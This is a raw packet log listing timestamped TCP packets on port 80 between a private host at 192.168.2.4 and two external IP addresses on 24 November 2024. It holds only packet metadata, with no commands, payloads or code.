Nov 24, 2024 12:24:25.297878981 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.297961950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.298769951 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.298804045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.298832893 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.299662113 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.299742937 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.299783945 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.300574064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.300642014 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.300654888 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.301480055 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.301526070 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.301534891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.302356005 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.302462101 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.384434938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.384474993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.384567976 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.384653091 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.384685993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.384736061 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.385102987 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.385210037 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.385256052 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.385972977 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.386099100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.386428118 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.386828899 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.404192924 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.404248953 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.404263973 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.404295921 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.404768944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.404820919 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.404930115 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.404979944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.406069994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.406181097 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.406183958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.406235933 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.407248974 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.407301903 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.407378912 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.407428026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.408507109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.408605099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.408672094 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.408716917 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.409698963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.409748077 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.409815073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.409914017 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.410940886 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.410990000 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.411128998 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.411181927 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.412112951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.412164927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.412221909 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.413239956 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.413353920 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.413388968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.413476944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.414380074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.414429903 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.414496899 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.414546013 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.415591955 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.415648937 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.415704012 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.415745974 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.417026043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.417123079 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.417172909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.417222023 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.418076992 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.418131113 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.418210030 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.418302059 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.419327974 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.419373989 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.419491053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.419684887 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.420474052 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.420523882 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.420531034 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.420581102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.421830893 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.421865940 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.421879053 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.421907902 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.422456980 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.422506094 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.422513008 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.422564030 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.423377037 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.423429966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.423487902 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.423537970 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.424485922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.424535990 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.424611092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.424662113 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.425616026 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.425687075 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.425755024 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.425810099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.426685095 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.426738024 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.426801920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.426989079 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.427949905 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.428108931 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.428113937 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.428155899 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.428395987 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.428936005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.428985119 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.429003954 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.429050922 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.430018902 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.430072069 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.430093050 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.430109978 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.431099892 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.431164026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.431217909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.431277990 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.432219028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.432285070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.432332039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.432380915 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.433327913 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.433404922 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.433434963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.433527946 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.434415102 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.434470892 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.434638023 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.434690952 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.435528040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.435590982 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.435725927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.435779095 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.436666012 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.436709881 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.436774969 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.436820030 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.437741041 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.437789917 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.437855959 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.437902927 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.438829899 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.438883066 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.438946962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.438996077 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.439968109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.440017939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.440083027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.440135956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.441052914 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.441101074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.441167116 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.441231966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.442169905 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.442218065 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.442270041 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.442312956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.443258047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.443310976 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.443325043 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.443372011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.444425106 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.444498062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.444530964 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.444544077 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.445530891 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.445631981 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.445668936 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.445682049 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.446594954 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.446675062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.446724892 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.447871923 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.447953939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.448035002 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.448085070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.448798895 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.448842049 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.448905945 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.449048042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.449894905 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.450023890 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.450076103 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.451030970 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.451080084 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.451158047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.451205015 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.452136040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.452183962 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.452311039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.452358007 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.453243017 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.453293085 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.453357935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.453402996 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.454348087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.454395056 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.454459906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.454508066 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.455512047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.455560923 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.455595016 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.455640078 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.456614971 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.456676960 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.456773996 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.456820011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.457746983 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.457792997 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.457824945 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.457873106 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.458746910 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.458791018 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.458865881 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.458913088 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.459861040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.459973097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.460026979 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.460074902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.460187912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.460237980 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.460622072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.460788965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.460992098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.461041927 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.461041927 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.461117983 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.461498976 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.461545944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.461611032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.461652994 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.462142944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.462356091 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.462409019 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.462497950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.462548971 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.462595940 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.463166952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.463227987 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.463305950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.463574886 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.463624001 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.464243889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.464386940 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.464437008 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.465150118 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.465296030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.465342999 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.466052055 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.466181993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.466227055 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.466984034 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.467124939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.467175007 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.468044043 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.468142986 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.468261957 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.468888044 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.468940020 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.468988895 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.469696999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.469816923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.469866991 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.470676899 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.470791101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.470838070 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.471555948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.471690893 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.472449064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.472495079 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.472570896 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.473359108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.473411083 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.473421097 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.473465919 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.474381924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.474462986 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.474504948 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.475182056 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.475306988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.475352049 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.476079941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.476216078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.476337910 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.476967096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.477080107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.477226973 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.477869987 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.478003979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.478045940 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.478821039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.478939056 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.479022026 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.479718924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.479825974 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.479876041 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.480626106 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.480755091 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.480842113 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.481589079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.481681108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.481731892 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.482758999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.482811928 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.482858896 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.483380079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.483490944 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.484369993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.484426022 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.484482050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.484532118 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.485203028 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.485348940 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.485397100 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.486136913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.486231089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.486315012 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.487037897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.487461090 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.487509012 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.487987041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.488421917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.488471031 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.488838911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.489056110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.489141941 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:25.489752054 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.489878893 CET	80	49792	34.116.198.130	192.168.2.4
